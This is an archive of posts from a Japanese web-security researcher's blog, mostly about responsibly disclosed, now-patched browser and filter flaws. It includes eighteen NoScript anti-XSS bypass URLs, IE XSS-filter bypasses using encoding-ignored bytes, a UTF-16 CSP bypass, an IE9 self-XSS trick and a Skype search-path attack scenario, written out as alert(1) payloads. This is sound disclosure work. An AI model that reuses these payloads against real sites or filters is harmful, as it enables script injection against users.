Safariがバグとして修正したなら、Appleが自分に問題があることを認めたということで、それでよしとしたいところですが、残念なお知らせがあります。Safari Mobile/Androidの標準ブラウザもこの動きをするのです。

Android標準ブラウザで% 00-FFを@の前に配置しalert(location.href)した図。%デコードされているのがわかる。

さらに、Androidの標準ブラウザは@付きURLにアクセスする時に警告も出しません。

今この情報を出した一番の理由として、このモバイルの問題をどうやっても早急に解決できないことがあげられます。モバイル端末のアップデートは機種によりまちまちで、提供されるかもわかりません。そんな現状で、このような潜在的な問題が早く修正されるとは思えません。アプリケーション開発者で対応するしかないでしょう。

@のついたURLでアクセスされることは多くのサービスで普通はないはずなので、location.href周りのコードが動かなくなるだけなら修正するほどではないと思いますが、XSSが起きるとなれば話は別だと思います。今一度、安全ではない方法でlocation.hrefを参照していないか、確認してみてください。

2012/07/18

「めんどうくさいWebセキュリティ」を頂いた

めんどうくさいWebセキュリティ」、原著の「The Tangled Web」に僕の名前が掲載されているのをきっかけに、監修された上野さん(@sen_u)を通して、出版元である翔泳社様から献本して頂きました。ありがとうございます。



こういう人にオススメです。


・Webを隅々まで理解したい
・セキュリティに絡んだ、細かなブラウザの動きに興味がある
・自分の持っているブラウザ周辺のWebセキュリティ知識を確認したい

逆にこれからWebセキュリティを学びたい・手っ取り早くWebセキュリティの知識をつけたいという人にはお勧めできません。踏み込んだ話ばかりなので、最初に手に取るには細かすぎると思います。(徳丸本をどうぞ!)

この本では、URL/HTTP/HTMLなどのWebの構成要素を詳細に見ていくことで、ブラウザのセキュリティがどのように成り立っているかや、そこにどのようなセキュリティ問題が存在するかなどを説明しています。IEではこういう問題があるとか、ブラウザごとの実際の動きにまで、細かく言及しています。その細かさといえば、日本語の他の書籍では見た事がありません。

既知のWebの問題に対するアプリケーション側の対策方法はもちろんのこと、過去に解決されたWebのセキュリティ問題、現在も解決できていない問題なども取り上げられ、つぎはぎだらけで今にも壊れてしまいそうなWebの現状を根本から伝えてくれています。1つのWebアプリケーションのセキュリティを強固にするためにも役立ちますが、Webとブラウザのセキュリティの将来まで考えさせられるような、そんな本です。僕はとても面白かったです!知らないこともたくさんあり、勉強になりました。


余談

じっくり読んだので、その過程で本の中に結構な量の間違いをみつけました。現在掲載されているこの本の正誤表は2012年7月9日の更新現在全て僕が報告したものです。(報告したものの、まだ掲載されていない分が10件ほどあります)

http://www.shoeisha.co.jp/book/errata/14478/list

些細な間違いばかりなので、読む分にはそこまで問題ないと思いますが、お手元にある方は確認してみてください。

余談2

誤植の報告のついでに出版元である翔泳社のウェブサイトのセキュリティ問題を複数ご報告したところ、謝礼として、お手紙と5000円分のアマゾンギフト券を送って頂きました。めんどうくさいKinugawaに付き合って頂きありがどうございます。

連絡

セキュリティに関する本は大体欲しいしよく買っているので、献本して頂けるのは本当に嬉しいです。Webアプリケーションセキュリティでなくてもセキュリティ技術、もっと広くいえばコンピュータ関連は大抵関心がありますので、献本してやるよという人は、ぜひください!次の献本をお待ちしております。

2012/07/08

NoScriptのAnti-XSS機能のバイパス18個

 FirefoxのアドオンであるNoScriptに備わっているXSS防止機能の、これまでに僕が報告した、対策された迂回方法を公開します。


1. v2.3.2rc2で修正

http://vulnerabledoma.in/char_test?charset=iso-2022-jp&body=%3Cifr%1B%28Jame%20o%1B%28Jnload=aler%1B%28Jt%281%29%3E

ISO-2022-JPでエンコードされたページまたは自動選択でISO-2022-JPが選択されたページで、NoScriptが反応する文字列中にISO-2022-JPで無視されるバイト列を挟むことで検出を回避できました。


2. v2.3.2rc3で修正

http://l0.cm/noscript/

単純にイベントハンドラの検出のバグです。URL中に()が入ると弾かれるので、location.href=window.nameでURL中に()を含めないようにし、さらにwindow.name中に()が入っていても検出されるので、window.name中の()をパーセントエンコードすることで回避できました。


3. v2.3.2rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ch1%20/onmouseover=%22eval%28%27alert%28location%27%2B%27%29%27%29%3B%22%3Exxx

単に「/」がついたイベントハンドラの検出のバグです。


4. v2.3.2rc5で修正

http://vulnerabledoma.in/char_test?charset=hz-gb-2312&body=%3Ch1%20o~%0Anmouseover=%22ale~%0Art%281%29%22%3Exxxxx


ISO-2022-JPの方法と同じように、エンコーディング「HZ-GB-2312」で無視される文字列を使い検出を回避しました。

追記--------------------------

あ!これ今見たら動かないですね!Firefox12のこのときに無視されないようになったみたいです。

------------------------------


5. v2.3.5rc1で修正

http://l0.cm/noscript2/

javascriptスキームのリンク中の「name」文字列の検出のバグです。クリックするとnameの中身が文字列でかえってくるので、nameにスクリプトタグを書いた文字列を設定しています。
(※ここからリンクを作成することで回避する方法を いくつか紹介しますが、なぜ危険なスキームをチェックして検出しないのかと思うかもしれません。NoScriptは、誤検出を減らすためか、任意のスク リプトを実行できてしまいそうな危険なものは検出されますが、javascriptスキームやdataスキームのリンクが全く作れないほどは制限されていないようです。)


6. v2.3.5rc2で修正

http://l0.cm/noscript3/

「\u006Eame」と表記することで「name」という文字列の検出を回避できていました。
さらにwindow.nameの中身のチェックが厳しくなったので、window.nameを設定するタイミングをずらして回避しました。


7. v2.3.6rc2で修正

http://l0.cm/noscript4/

「feed:」を先頭につけた攻撃URLをフレームに埋め込むと、検出を回避できていました。


8. v2.4.1rc1で修正

http://l0.cm/noscript5/

<script>タグ内に動的生成された文字列中でも、「\u006Eame」とすることでnameの検出を回避できていました。
(※NoScriptは<script>タグ内に動的生成された文字列から生じるXSSでも、ある程度検出できるようにしているようです。ここからいくつかそのタイプのバイパスが出てきます。)


9. v2.4.5rc1で修正

http://vulnerabledoma.in/xss_js?q=%22-alert%A51%A4-%22

http://vulnerabledoma.in/char_test?body=%3Ca%20href=javascript:alert%A51%A4%3Eaaa

ソーシャルエンジニアリングによりARMSCII-8というエンコーディングに変更させることで、0xA5が「(」、0xA4が「)」となり、 0x28/0x29を使わずにカッコを埋め込むことができ、検出を回避してJavaScriptを実行させることができていました。ARMSCII-8はもはや使われていないエンコーディングのため、ARMSCII-8へのエンコーディングの切替えができないようにNoScript側で変更されました。ちなみに、過去にUTF-7でも同じ措置をとったという話をききました。
(※このARMSCII-8のような、別のバイトにASCIIの範囲の文字が現れる文字エンコーディングがいくつかあります。この調査を以前したので、いずれ結果を載せたいと思います。)


10. v2.4.5rc1で修正

http://l0.cm/noscript6/

/a/.source というような表記と、window.nameを組み合わせることで、回避できていました。


11. v2.4.5rc2で修正

http://l0.cm/noscript7/

E4Xとlocation.hashとwindow.nameを組み合わせることで、回避できていました。


12. v2.4.5rc3で修正

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href=location.hash[1]%2Blocation.hash[2]%2Blocation.hash[3]%2Blocation.hash[4]%2Blocation.hash[5]%2Blocation.hash[6]%2Blocation.hash[7]%2Blocation.hash[8]%2Blocation.hash[9]%2Blocation.hash[10]%2Blocation.hash[11]%2Blocation.hash[12]%2Blocation.hash[13]%2Blocation.hash[14]%2Blocation.hash[15]%2Blocation.hash[16]%2Blocation.hash[17]%2B281%2Blocation.hash[17]%2B29//#javascript:alert%

1文字ずつアクセスすることで、検出を回避できていました。

13. v2.4.5rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:text/html%3Bbase64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVrYjIxaGFXNHBQQzl6WTNKcGNIUSsiPkNsaWNr%22%3EClick

dataスキームのリンクにbase64で2重にエンコードした文字列を使用することで、検出を回避できていました。


14. v2.4.5rc5で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:x%3Bb%20ase64,P%20HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3EClick

dataスキーム中のbase64文字列の間にあるスペース(0x20)を無視するFirefoxの挙動を利用して、検出を回避できていました。


15. v2.4.5rc6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%20each%28location%20in%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%28location%20of%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

for each-in/for-of文を使うことでlocationへの代入を行い、任意のJavaScript実行の検出を回避できていました。


16. v2.4.5rc7で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfunction::[%27location%27]=%27javascript%27%2B%27:alert%281%29%27//

function:: のような、Firefox特有の記法で回避できていました。


(v2.4.6で修正)

http://vulnerabledoma.in/xss_js?q=%22%3Bwith%28document%29{cookie=123}//

withを使用することで、任意のCookieのセットができていました。


17. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bx=%27javascript%27%2B%27:alert%281%29%27%3B//%E2%80%A8location=x//

U+2028/2029が改行と考慮されていなかったため、自ら書いた「//」のコメントアウトからそれらの文字列で抜けることで、検出を回避できていました。


18. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bcrypto.generateCRMFRequest%28%27CN=0%27,0,0,null,%27alert%281%27%2B%27%29%27,384,null,%27rsa-dual-use%27%29//

crypto.generateCRMFRequest()をeval()の代用とすることで、任意のJavaScript実行の検出を回避できていました。


以上です!

各ブラウザのAnti-XSS機能よりもNoScriptが特に優れている点は、問題が発見された時の対応の早さだと思います。NoScriptの開発者であるGiorgio氏は、どれもその日のうちにrc版をリリースしてくれるほど、熱心に対応してくれました。

皆さんも突破に挑戦して、報告してみてはいかがでしょうか!


参考文献:

7.  http://view.officeapps.live.com/op/view.aspx?src=http%3A%2F%2Futf-8.jp%2Fpublic%2F20120421%2Fmomiji.pptx hack#1

15. http://d.hatena.ne.jp/st4rdust/20110329/1301386042

16. http://sla.ckers.org/forum/read.php?24,28641,35101#msg-35101

18. http://www.slideshare.net/x00mario/the-future-of-web-attacks-confidence-2010/35

2012/07/02

BloggerをIEで見ると重たいのを解消する方法

セキュリティに関係する話ではありません。

最近気付いたことなんですが、このブログをIEで見ると、すごく重たかったです。(今は解消したはずです)
このブログはBloggerを利用していて、Bloggerに用意されているテンプレートをほとんどいじることなく、そのまま使っていたんですが、IE以外のブラウザではスムーズに動くのに、IE(正確にはIE7以上)だけはスクロールがカクカクするくらい重たかったです。(ついでに言うと、フッダの下に謎の無駄な空間ができていました。)

で、これ、なんでかなーって検索しても、重たくて悩んでいる人はいくらか見つかったんだけど、解決策がみつかりませんでした。テンプレートを変えれば軽くなると書かれているページはあったんですけど。

仕方がないので、何が悪いのかなーって自分で見ていったら、どうも条件付きコメントでIEだけ読み込んでいる「ieretrofit.js」というのに重たい原因があることがわかりました。
ひとまずこれを取り除いてみたところ、明らかに軽くなりました。最初からついているjsをとったら閲覧に問題が起きそうな気がしますが、取り除いた上でIEであれこれ操作してみましたが、特に問題なく動いている気がします。よし。

という訳で、 これを取り除きましたんで、IEをご使用の方々も、今日からこのブログの快適な閲覧ができるようになったんではないかと思います。IEの挙動やバグについてよく取り上げるくせに、今まで気付かなくてすみません!!!


一応、Bloggerをお使いでIEで重たくて悩んでいる方の役に立つかもしれないので、これの取り除き方を書いておきます。このjsが中でなにやってんのか全然見ていないので、はずして何か問題が起きても知りません。まぁ問題があったら戻せばいいので、ひとまずやってみましょう。

手順

まず、自分のブログのHTMLソースをみて「ieretrofit.js」の記述があるか確認しましょう。大抵は<title>タグの少し上くらいにあるはずです。もし記述があり、あなたのブログがIEで特に重たい場合は、試してみる価値があると思います。

新しいブログの管理画面から、テンプレート(Template)→HTMLの編集(Edit HTML)→続行(Proceed)を選択します。

以下の部分を探します。
<b:include data='blog' name='all-head-content'/>

この項目は、フィードやアイコン(favicon)などの、ブログのオプション的な情報を一度に表示するためのものみたいです。この中に例の重たいieretrofit.jsも含まれているので、以下の記述を追加し、おかしなことになってもあとですぐに戻せるように、コメントアウトするだけにしてどかしましょう。
<!--<b:include data='blog' name='all-head-content'/>-->
 これで軽くなりますが、これだけだと、フィードやアイコンなどの必要な情報まで取り除かれてしまうので、次に重たいjs以外の情報を書き足す必要があります。今コメントアウトした下くらいに、以下をコピー & ペーストしましょう。これで、重たいjs以外の全ての情報が元通りに挿入されると思います。

<meta expr:content='&quot;text/html; charset=&quot; + data:blog.encoding' http-equiv='Content-Type'/>
<script type='text/javascript'>//<![CDATA[
(function() { var a=window,c="jstiming",d="tick";var e=function(b){this.t={};this.tick=function(b,o,f){f=void 0!=f?f:(new Date).getTime();this.t[b]=[f,o]};this[d]("start",null,b)},h=new e;a.jstiming={Timer:e,load:h};if(a.performance&&a.performance.timing){var i=a.performance.timing,j=a[c].load,k=i.navigationStart,l=i.responseStart;0<k&&l>=k&&(j[d]("_wtsrt",void 0,k),j[d]("wtsrt_","_wtsrt",l))}
try{var m=null;a.chrome&&a.chrome.csi&&(m=Math.floor(a.chrome.csi().pageT));null==m&&a.gtbExternal&&(m=a.gtbExternal.pageT());null==m&&a.external&&(m=a.external.pageT);m&&(a[c].pt=m)}catch(n){};a.tickAboveFold=function(b){var g=0;if(b.offsetParent){do g+=b.offsetTop;while(b=b.offsetParent)}b=g;750>=b&&a[c].load[d]("aft")};var p=!1;function q(){p||(p=!0,a[c].load[d]("firstScrollTime"))}a.addEventListener?a.addEventListener("scroll",q,!1):a.attachEvent("onscroll",q);
 })();
//]]>
</script>
<meta content='true' name='MSSmartTagsPreventParsing'/>
<meta content='blogger' name='generator'/>
<link expr:href='data:blog.homepageUrl + &quot;favicon.ico&quot;' rel='icon' type='image/x-icon'/>
<link expr:href='data:blog.canonicalUrl' rel='canonical'/>
<data:blog.feedLinks/>
<!--[if IE]> <script> (function() { var html5 = ("abbr,article,aside,audio,canvas,datalist,details," + "figure,footer,header,hgroup,mark,menu,meter,nav,output," + "progress,section,time,video").split(','); for (var i = 0; i < html5.length; i++) { document.createElement(html5[i]); } try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} })(); </script> <![endif]-->
<b:if cond='data:blog.url == data:blog.homepageUrl'>
   <link href='http://www.blogger.com/openid-server.g' rel='openid.server'/>
</b:if>
これで終わりです。保存して、IEで動作が軽くなったか、問題なく動くか、確かめてみてください。

他の方のBloggerのブログを見てまわって、同じ現象が起きるか確かめたところ、中にはieretrofit.jsを読み込んでいても重くないブログもあったので、テンプレートを変えたら問題が直ったという人がいたように、テンプレートによって問題が起きる場合と起きない場合があるのかもしれません。ひとまず僕のブログはこのようにしたところ、テンプレートを変えずに、スムーズにスクロールができるようになりました。
 
この方法ではなんらかの問題がある場合や、もっとスマートに解決できる方法があればコメントやTwitterなどでお知らせください。

2012/06/30

MS12-023: IE9のself-XSS防止機能のバイパス


マイクロソフト セキュリティ情報 MS12-023 - 緊急 : Internet Explorer 用の累積的なセキュリティ更新プログラム (2675157)
http://technet.microsoft.com/ja-jp/security/bulletin/ms12-023
このセキュリティ情報に組み込まれている多層防御についてマイクロソフトと協力してくださった Masato Kinugawa 氏

2012年4月のMicrosoftの月例アップデートに含まれる、MS12-023で修正されたこの件について書きます。

Internet Explorer 9では、悪意ある者に誘導されてアドレスバーで不本意なJavaScriptを実行してしまうこと(self-XSS)を防止するために、「javascript:alert(1)」や「vbscript:alert(1)」のような、スクリプトを実行できる文字列をアドレスバーにペーストすると、「javascript:」や「vbscript:」という文字列が除去され、即座にスクリプトの実行ができないようになっています。

しかしながら、「javascript:」という文字列の間に、タブ文字(0x09)が挿入されていると、この制限を迂回し、即座に実行することができていました。 IEは普段から、アドレスバーに入力された文字列にタブ文字が含まれていた時、タブ文字を除去したアドレスを読み込もうとします。例えば、以下の文字列をアドレスバーにペーストして読み込もうとすると、example.comへ飛ばされます。



以下のような文字列が、MS12-023以前まですりぬけていました。


 
パッチをきちんとあてた人のIE9では、アドレスバーへのペースト時に先頭部分が除去されるはずです。

報告したのは2011年11月18日です。ちょうどこの頃、self-XSSを利用した攻撃がFacebookで行われたことが話題になっており、IE9の防止がきちんとできているか確かめてみたところ、抜けがあることに気が付きました。これにより攻撃者がより単純な手順で、self-XSSの実行へ導くことができていました。

2012/05/22

ドコモのSPモードでXSSっぽい文字列を含むURLへ接続できない

先日、ドコモが提供するスマートフォン用の回線であるSPモードを使用して普通にインターネットをしていたら接続できないページに出会いました。インターネットをしていて接続できないページがあるくらい珍しいことではないですが、接続できない状況が普通ではありませんでした。どうも特定の文字列がURLに含まれていると接続できなくなるようなのです。
例えば以下のようなURLに接続できません。

http://www.google.co.jp/search?q=%22%3E%3Cscript%3E

このようになります。
























いろいろな環境から接続を試みた結果は以下です。

× Android標準ブラウザからSPモードで接続
× Firefox MobileからSPモードで接続
× パソコンのFirefoxから携帯を使用してSPモードでテザリング接続
Android標準ブラウザで自宅の無線LANからWi-Fi接続

このようにアプリケーションに関係なく、SPモードを介した接続のみができない状況であることから、SPモードの通信自体になんらかの原因があると考えました。どのようなURLへ接続ができないのかを検証するために、あらゆる文字列を含んだURLへそれぞれ接続できるかを試してみました。

× http://example.com/?q1="><script>
× http://example.com/?q1="><script>aaa
http://example.com/?q1="></script> 
http://example.com/?q1="><body onload=alert(1)>
http://example.com/?q1="><script >
http://example.com/?q1="><scriptx>
http://example.com/?q1="><script
× http://example.com/?q1='><script>
http://example.com/?q1=><script>
× http://example.com/?q1='"><script>
× http://example.com/?q1='"''"''"'"><script>
http://example.com/?q1=aaa"><script>
http://example.com/?q1=">aaa<script>
× http://example.com/?q1="><SCRipt>
× http://example.com/?q1=1&q2="><script>
× http://example.com/?q1=1?q2="><script>
http://example.com/q1="><script>
× http://example.com/&q1="><script>
× http://example.com/%3Fq1="><script>
http://example.com/?_="><script>
× http://example.com/?1="><script>
http://example.com/?="><script>

これらの結果から推測できる遮断される条件を、JavaScriptの正規表現でまとめると大体以下のようになります。なお、httpsの場合はどのパターンも正常に接続できます。

location.pathname.match(/[?&][a-z0-9]+=("|')+><script>/i) || location.search.match(/[?&][a-z0-9]+=("|')+><script>/i)

また、何度か検証をしてしばらくしてから再度試してみたところ、今度は接続ができたことがありました。あれ、直った?と思いましたが、その後も何度か時間をあけて試していると、接続できたりできなかったりする場合があることに気付きました。
調査をしていくと、接続できる場合とできない場合に、規則があることがわかりました。
1.78.*.*といったIPアドレスをもらった場合には接続ができ、それ以外の1.66.*.*、183.74.*.*などといったIPアドレスでは接続ができなくなるようです。


現在この事象についてわかっているのはこれだけです。


なぜこのようなことが起きているのでしょうか。想像できるのは、SPモードというプロバイダ単位でXSS対策をしようとしているのではないか、ということです。

ただその割には、一番基本的な<script>タグですらきちんと止める気がないような遮断条件であるし、特定のIPアドレスでは遮断されなかったりで、一体何がしたいのかというかんじもあります。
まずは限定的に導入してみて、影響がどれほどのものなのかのテストでもしているのでしょうか?それとも単にバグ?

まだ理由ははっきりしませんが、攻撃への対策であるのなら、正当なリクエストにも攻撃に近い文字列は入りうるので、今のアクセスすらさせない方法はやりすぎであると思います。現段階ではまだ非常に限られた文字列だけですが、今後防御範囲を拡大しようとして、さらに副作用が広がるようなことがないことを願います。

 ひとまずは、特定の文字列を含むURLに接続ができない不具合としてドコモに問い合わせてみました。1日以内に返事を頂きましたが、期待した回答がもらえなかったため、まだやりとりが続いています。また何か進展があったらここに追記したいと思います。


 XSSっぽいリクエストをプロバイダが遮断するなんて前例がないなどとTwitterで言っていたら、徳丸さんが過去に発見したソフトバンクの事例に近いと、徳丸さんご本人からTwitterで教えて頂きました。ソフトバンクのガラケーでは、URL中のパーセントエンコードをしていない<>"が削除されるようです。

携帯電話事業者に学ぶ「XSS対策」 - ockeghem(徳丸浩)の日記
http://d.hatena.ne.jp/ockeghem/20100726/p1

なんか、携帯事業者はこういう方法をとりたがるんですかね。

追記 2012/6/1 19:00
いま試したところ、以前接続ができなかった1.66.*.*、183.74.*.*などといった、1.78.*.*以外のIPアドレスからも接続ができました。問題は解消されたとみてよさそう?

追記2 2012/6/12 17:00
ドコモから正式に、担当部署へ確認した結果、サーバーの設定を一部変更したことで修正したとの回答を貰いました。結局意図的だったのか不具合だったのかは不明ですが、少なくとも、修正したということは、このアプローチによるXSS対策をやめる側にたったか、単に不具合だったということを意味しており、危惧していた副作用などの問題が今後広がることはなさそうです。

2012/05/09

UTF-16によるContent Security Policyの迂回

UTF-16をContent Security Policy(以下CSP)の迂回に使ってみようという記事です。ほとんどの場合で問題になりませんが場合によってはこうもできるかもしれないよね、ということを示すために書きます。真面目に読まないでください。

シンプルな迂回方法

やろうとしていることを理解しやすくするために、先にシンプルな迂回方法を示します。

CSPで選択的に外部ドメインのJavaScriptの読み込みを許可しているような場合、読み込みを許可したドメインにscriptタグのsrcとしてエラーのないように悪意のあるスクリプトを書けてしまう箇所があれば、当然XSSがあった時にCSPを迂回して攻撃することができてしまいます。
僕が攻撃しようと思ったら真っ先に狙いに行くのはJSONPのcallback関数名です。具体的に例を示すと、

 CSPを導入したサイトで、外部サイトのcsp.example.comに読み込みたいJavaScriptがあるため、csp.example.comからのJavaScriptの読み込みを許可したとします。そのとき、csp.example.com上に以下のようなページがあったとします。
http://csp.example.com/jsonp?callback=callback
callback({"city":"Tokyo"})

この時以下のようにできてしまったら、まずいということです。

http://csp.example.com/jsonp?callback=alert%281%29//
alert(1)//({"city":"Tokyo"})
このようにJSONPのcallback関数名に使用できる文字があまり制限されていなければ、XSSがあった場合にすんなり期待したCSPの制限を超えてJavaScriptの実行を許してしまいますね。Michal Zalewski氏もこの問題を含めたCSPの記事を書いています。

The subtle / deadly problem with CSP
http://lcamtuf.blogspot.com/2011/08/subtle-deadly-problem-with-csp.html

とはいえ、なかなかページの先頭から何か書けるところというのはこの例くらいしかないですよね。そんな時にひねり出したのがscript要素のcharset属性にUTF-16を指定して迂回する方法です。

UTF-16による迂回

この方法が使える場合というのは、以下の条件を満たした時です:

JavaScriptのsrcとして読み込むことを許可させたサイト上で、

・HTTPレスポンスヘッダにcharset指定がない。
・入力値が出力される箇所より手前の文字をUTF-16(BE/LE)化した時、その文字列がJavaScriptの変数として使用できる文字で構成されている。
・入力値の0x00が直に埋め込まれる。


きびしいですね。こういう条件を満たした都合がよいサイトを実際に用意しましたので、JavaScriptが実行される様子をCSPに対応したブラウザ(FirefoxかChrome推奨)でご覧ください。
このページにはStored XSSの脆弱性があり、scriptが挿入されたと考えてください。サイトオーナーは、「l0.cm」から読み込みたいJavaScriptがあったのでCSPで許可しているという具合です。


http://vulnerabledoma.in/csp_utf16

(※記事を書いた時点では、Firefox 12とSafariは僕が期待した動作をしていません。Firefox 12だとonclickでアラートが出るし、Safariだと全くJavaScriptが動きません。たぶんまだ完全にブラウザがサポートしていないからだと思いますが、CSPのルールの記述の仕方に問題があるようだったら教えて下さい…。)

追記 2012/6/6 --------------------------------
Firefox 12でonclickが動いちゃうの、脆弱性だったらしい…。Firefox 13で修正された模様。

MFSA 2012-36: インラインスクリプトによる Content Security Policy の回避
http://www.mozilla-japan.org/security/announce/2012/mfsa2012-36.html

段階的に導入しやすいようにあえて動くようにしてるとか、そういうんだと思ってた…。 まぁそんな訳でFirefox 13では期待した動作(onclickが動かない)をしています。
------------------------------------------------

(※一応CSPをつけない場合の動きもここから見られるようにしてあります。)

FirefoxかChromeではアラート「1」が出ると思います。これは、l0.cmドメイン上のHTMLページをUTF-16BEのscriptのsrcとして読み込んでいることによります。srcとして実際に解釈されるのは以下です。

 㱨瑭氾਼桥慤㸊㱴楴汥㹸=1;alert(1)//㰯瑩瑬放਼浥瑡⁣桡牳整㴢畴昭㠢㸊㱢潤社਼栱㹃卐⁳牣㰯栱㸊砀㴀㄀㬀愀氀攀爀琀⠀㄀⤀⼀⼊㰯扯摹㸊㰯桴浬
どう見ても立派なエラーのないJavaScriptですね。
ページの頭から自分の入力値の手前までにあるUTF-16の文字列「㱨瑭氾਼桥慤㸊㱴楴汥㹸」(もともとは「<html>[0x0A]<head>[0x0A]<title>x」)を強引に変数とみなすために「=1」で1を代入します。後は続けてJavaScriptを好きに書いて終わりに「//」でコメントアウトしているだけです。
まぁ先頭がうまいこと変数に使用可能な文字になってくれることが極めて珍しいので、最初に書いたように、問題になることはほとんどないと思いますが、こういうのもあり得なくはないよね、ということでしたとさ!
 
また、CSPとは別の問題ですが、1を代入した変数部分に機密情報が入る場合、定義済みの変数名を外部から取り出すことで、情報を盗るという技もあり得ると思います。さらに「while(1)」という文字列をUTF-16とみなして、読み出し防止のループをスルーさせることができる場合もあるかもしれません。これも凄くみみっちい問題なので、以下に都合がいいかんじの例を置くだけにします。
Opera以外のモダンなブラウザなら動くと思います。

http://l0.cm/while16/

ちなみに

Firefox Hacks RebootedのCSPの項を見ていたら、p407の脚注に「Firefox 4ではまだ制限されていませんが、仕様によるとスクリプトファイルのContent-Typeはapplication/javascriptやapplication/jsonに制限されます」とあるので、この例のようなtext/htmlのページをscriptのsrcとする方法はいずれできなくなるかもしれません。 

2012/04/05

Skype for Windows 5.5.0.124の検索パスに関する脆弱性

この脆弱性はSkype for Windows 5.5.0.124で存在を確認し、2011年12月21日にMicrosoftに報告しました。その後、2012年2月2日に修正された5.8.0.154がリリースされました。それから時間も経つのでそろそろどういう問題だったのかを書きたいと思います。

以下にクレジットを掲載して頂きました。
 
Skype - Skype Garage blog - Skype 5.8 for Windows: Full HD video-calling, Facebook integration, Group Screen Sharing
 http://blogs.skype.com/garage/2012/02/skype_for_windows_update.html
 
ここには詳細は書いてありませんが、よくある検索パスの問題です。次の手順で再現ができます。

1. 「explorer.exe」という名前のついたexeファイルをSkypeからの添付ファイルを保存する場所に置く。

2.  別のSkype IDから何でもいいのでSkypeチャットから添付ファイルを送る。

3. 添付ファイルのダウンロード後にSkypeチャット上に表示される「フォルダに表示」のリンクを押す。

4. 先ほど置いた「explorer.exe」が起動する。

攻撃者は「explorer.exe」を何らかの方法でターゲットのSkypeの添付ファイルがダウンロードされる場所に置く必要があり、なおかつ「フォルダに表示」ボタンを押してもらわなければなりません。この条件を満たす攻撃のシナリオを考えてみます。

Skypeは拡張子が「.exe」のファイルの送信自体は禁止されていないので、「explorer.exe」はSkypeから送信できます。こんな風に見えます。



(拡張子が.exeって怪しいけど、ひとまずダウンロードしよう…!)→ダウンロード完了→「フォルダに表示」→発火

みたいになるかもしれません。


ただこれだと送信されるものが「.exe」だとまるわかりで、ダウンロード自体を敬遠されるかもしれないので、もうちょっとわかりにくくしてみます。

Skypeでは、複数のファイルを一度に添付したとき、以下のようにまとめて表示します。



ここには「explorer.exe」と何か無害のもう1つのファイルが添付されているとします。何が添付されているかは左にある三角マークをクリックして展開することで見えますが、展開しなければここで「すべて保存」を押すと一度に2ファイルのダウンロードが始まり、それから完了しても、チャットのウインドウ上で「.exe」の文字は一切目にすることはありません。



ここでこの「フォルダに表示」をクリックすると発火します。

とまぁ条件は必要なもののこんな具合にSkypeだけで攻撃は十分可能な問題だと思います。

まだアップデートしていない人はしましょう。

最後に、この問題と同様に意図していない「explorer.exe」を呼び出してしまう検索パスの問題について詳しく書かれた、かいとさんと塩月誠人さんの記事を紹介します。

DLL Hijacking(Binary Planting) が修正されたソフトウェアで DLL Hijacking の問題を確認する ~EXE編~ - 思い立ったら書く日記
 http://d.hatena.ne.jp/kaito834/20120308/1331218436

Security Professionals Network Inc. - 【SPN通信】修正されたOperaのバイナリ・プランティング問題
http://www.sec-pro.net/newsletter/20110131.html

2012/03/10

ブラウザのXSS保護機能をバイパスする(2)

第2弾です。第1弾はこちら。今回はアプローチがちょっと違います。

無視されるバイトの利用

タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。

2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。

 IEのXSSフィルターをバイパスする

IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。

 http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E


(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)

これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )

この要領で様々なパターンが作れます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

